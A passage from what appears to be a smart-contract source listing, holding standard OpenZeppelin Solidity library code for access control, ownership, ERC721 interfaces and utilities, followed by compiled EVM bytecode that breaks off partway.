must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; }
0x60806040526004361061021d5760003560e01c806370a082311161011d578063b723b34e116100b0578063d53913931161007f578063e985e9c511610064578063e985e9c514610694578063f2fde38b146106b4578063fa09e630146106d457600080fd5b8063d539139314610640578063d547741f1461067457600080fd5b8063b723b34e146105cb578063b88d4fde146105eb578063c87b56dd1461060b578063cf76a1531461062b57600080fd5b806391d14854116100ec57806391d148541461053b57806395d89b4114610581578063a217fddf14610596578063a22cb465146105ab57600080fd5b806370a08231146104c8578063715018a6146104e8578063791b3616146104fd5780638da5cb5b1461051d57600080fd5b80632f2ff15d116101b057806342842e0e1161017f5780634f6ccce7116101645780634f6ccce71461046857806355f804b3146104885780636352211e146104a857600080fd5b806342842e0e1461042857806342966c681461044857600080fd5b80632f2ff15d146103ae5780632f745c59146103ce57806333eeb147146103ee57806336568abe1461040857600080fd5b806318160ddd116101ec57806318160ddd1461030757806323b872dd1461032a578063248a9ca31461034a578063282c51f31461037a57600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557600080fd5b3661025157604051349033907fa419615bc8fda4c87663805ee2a3597a6d71c1d476911d9892f340d965bc7bf190600090a3005b600080fd5b34801561026257600080fd5b506102766102713660046123be565b6106f4565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a0610770565b6040516102829190612433565b3480156102b957600080fd5b506102cd6102c8366004612446565b610802565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b50610305610300366004612474565b61085f565b005b34801561031357600080fd5b50600154600054035b604051908152602001610282565b34801561033657600080fd5b506103056103453660046124a0565b610931565b34801561035657600080fd5b5061031c610365366004612446565b60009081526008602052604090206001015490565b34801561038657600080fd5b5061031c7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b3480156103ba57600080fd5b506103056103c93660046124e1565b61093c565b3480156103da57600080fd5b5061031c6103e9366004612474565b610969565b3480156103fa57600080fd5b50600c546102769060ff1681565b34801561041457600080fd5b506103056104233660046124e1565b610a76565b34801561043457600080fd5b506103056104433660046124a0565b610b17565b34801561045457600080fd5b50610305610463366004612446565b610b32565b34801561047457600080fd5b5061031c610483366004612446565b610b68565b34801561049457600080fd5b506103056104a336600461259d565b610c23565b3480156104b457600080fd5b506102cd6104c3366004612446565b610d44565b3480156104d457600080fd5b5061031c6104e33660046125e6565b610d56565b3480156104f457600080fd5b50610305610dbe565b34801561050957600080fd5b50600a546102cd906001600160a01b031681565b34801561052957600080fd5b506009546001600160a01b03166102cd565b34801561054757600080fd5b506102766105563660046124e1565b60009182526008602090815260408084206001600160a01b0393909316845291905290205460ff1690565b34801561058d57600080fd5b506102a0610e43565b3480156105a257600080fd5b5061031c600081565b3480156105b757600080fd5b506103056105c6366004612603565b610e52565b3480156105d757600080fd5b506103056105e63660046124e1565b610f3e565b3480156105f757600080fd5b50610305610606366004612636565b610f75565b34801561061757600080fd5b506102a0610626366004612446565b610faf565b34801561063757600080fd5b506102a0610fe3565b34801561064c57600080fd5b5061031c7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b34801561068057600080fd5b5061030561068f3660046124e1565b611071565b3480156106a057600080fd5b506102766106af3660046126b6565b611099565b3480156106c057600080fd5b506103056106cf3660046125e6565b611193565b3480156106e057600080fd5b506103056106ef3660046125e6565b611294565b60006001600160e01b031982166380ac58cd60e01b148061072557506001600160e01b03198216635b5e139f60e01b145b8061074057506001600160e01b0319821663780e9d6360e01b145b8061075b57506001600160e01b03198216637965db0b60e01b145b8061076a575061076a8261142f565b92915050565b60606002805461077f906126e4565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab906126e4565b80156107f85780601f106107cd576101008083540402835291602001916107f8565b820191906000526020600020905b8154815290600101906020018083116107db57829003601f168201915b5050505050905090565b600061080d82611454565b610843576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061086a82610d44565b9050806001600160a01b0316836001600160a01b031614156108b8576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b806001600160a01b03166108ca61147f565b6001600160a01b0316141580156108ea57506108e8816106af61147f565b155b15610921576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61092c8383836114dc565b505050565b61092c838383611545565b60008281526008602052604090206001015461095f8161095a61147f565b6117c1565b61092c8383611841565b600061097483610d56565b82106109ac576040517f0ddac30e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080549080805b83811015610a7057600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff161580159282019290925290610a1c5750610a68565b80516001600160a01b031615610a3157805192505b876001600160a01b0316836001600160a01b03161415610a665786841415610a5f5750935061076a92505050565b6001909301925b505b6001016109b4565b50600080fd5b610a7e61147f565b6001600160a01b0316816001600160a01b031614610b095760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084015b60405180910390fd5b610b1382826118e4565b5050565b61092c83838360405180602001604052806000815250610f75565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610b5f8161095a61147f565b610b1382611985565b6000805481805b82811015610bf057600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff16151591810182905290610be75785831415610be05750949350505050565b6001909201915b50600101610b6f565b506040517fa723001c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610c2b61147f565b6001600160a01b0316610c466009546001600160a01b031690565b6001600160a01b031614610c9c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b00565b600c5460ff1615610cef5760405162461bcd60e51b815260206004820152600f60248201527f434f4e54524143542046524f5a454e00000000000000000000000000000000006044820152606401610b00565b8051610d0290600b90602084019061230f565b5080604051610d11919061273b565b604051908190038120907fc9e8f610c54c2b76116d5166ae3d1bd8f7227fd57dce593bc86525d58991963d90600090a250565b6000610d4f82611b3f565b5192915050565b60006001600160a01b038216610d98576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b506001600160a01b031660009081526005602052604090205467ffffffffffffffff1690565b610dc661147f565b6001600160a01b0316610de16009546001600160a01b031690565b6001600160a01b031614610e375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b00565b610e416000611c73565b565b60606003805461077f906126e4565b610e5a61147f565b6001600160a01b0316826001600160a01b03161415610ea5576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060076000610eb261147f565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610ef661147f565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610f32911515815260200190565b60405180910390a35050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610f6b8161095a61147f565b61092c8284611cd2565b610f80848484611545565b610f8c84848484611cec565b610fa9576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6060600b610fbc83611e0b565b604051602001610fcd929190612757565b6040516020818303038152906040529050919050565b600b8054610ff0906126e4565b80601f016020809104026020016040519081016040528092919081815260200182805461101c906126e4565b80156110695780601f1061103e57610100808354040283529160200191611069565b820191906000526020600020905b81548152906001019060200180831161104c57829003601f168201915b505050505081565b60008281526008602052604090206001015461108f8161095a61147f565b61092c83836118e4565b600a546040517fc45527910000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015260009281169190841690829063c455279190602401602060405180830381865afa158015611104573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611128919061282a565b6001600160a01b0316141561114157600191505061076a565b600a546001600160a01b038481169116141561116157600191505061076a565b6001600160a01b0380851660009081526007602090815260408083209387168352929052205460ff165b949350505050565b61119b61147f565b6001600160a01b03166111b66009546001600160a01b031690565b6001600160a01b03161461120c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b00565b6001600160a01b0381166112885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610b00565b61129181611c73565b50565b61129c61147f565b6001600160a01b03166112b76009546001600160a01b031690565b6001600160a01b03161461130d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b00565b6001600160a01b0381166113635760405162461bcd60e51b815260206004820152601f60248201527f43414e4e4f5420574954484452415720544f205a45524f2041444452455353006044820152606401610b00565b47806113b15760405162461bcd60e51b815260206004820152601460248201527f4e4f20455448455220544f2057495448445241570000000000000000000000006044820152606401610b00565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156113e7573d6000803e3d6000fd5b50816001600160a01b03167f2bd20150a637d72a74539599f66637c3ec4f6d3807458bf9e002061053ae167c8260405161142391815260200190565b60405180910390a25050565b60006001600160e01b03198216637965db0b60e01b148061076a575061076a82611f09565b600080548210801561076a575050600090815260046020526040902054600160e01b900460ff161590565b6000333014156114d657600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b031691506114d99050565b50335b90565b600082815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061155082611b3f565b9050600081600001516001600160a01b031661156a61147f565b6001600160a01b0316148061158857508151611588906106af61147f565b806115b3575061159661147f565b6001600160a01b03166115a884610802565b6001600160a01b0316145b9050806115ec576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b03161461163b576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661167b576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61168b60008484600001516114dc565b6001600160a01b038581166000908152600560209081526040808320805467ffffffffffffffff1980821667ffffffffffffffff92831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600490945282852080546001600160e01b031916909417600160a01b42909216919091021790925590860180835291205490911661177757600054811015611777578251600082815260046020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff16610b13576117ff816001600160a01b03166014611f8d565b61180a836020611f8d565b60405160200161181b929190612847565b60408051601f198184030181529082905262461bcd60e51b8252610b0091600401612433565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff16610b135760008281526008602090815260408083206001600160a01b03851684529091529020805460ff191660011790556118a061147f565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff1615610b135760008281526008602090815260408083206001600160a01b03851684529091529020805460ff1916905561194161147f565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b600061199082611b3f565b90506119a260008383600001516114dc565b80516001600160a01b039081166000908152600560209081526040808320805467ffffffffffffffff19811667ffffffffffffffff9182166000190182161790915585518516845281842080547f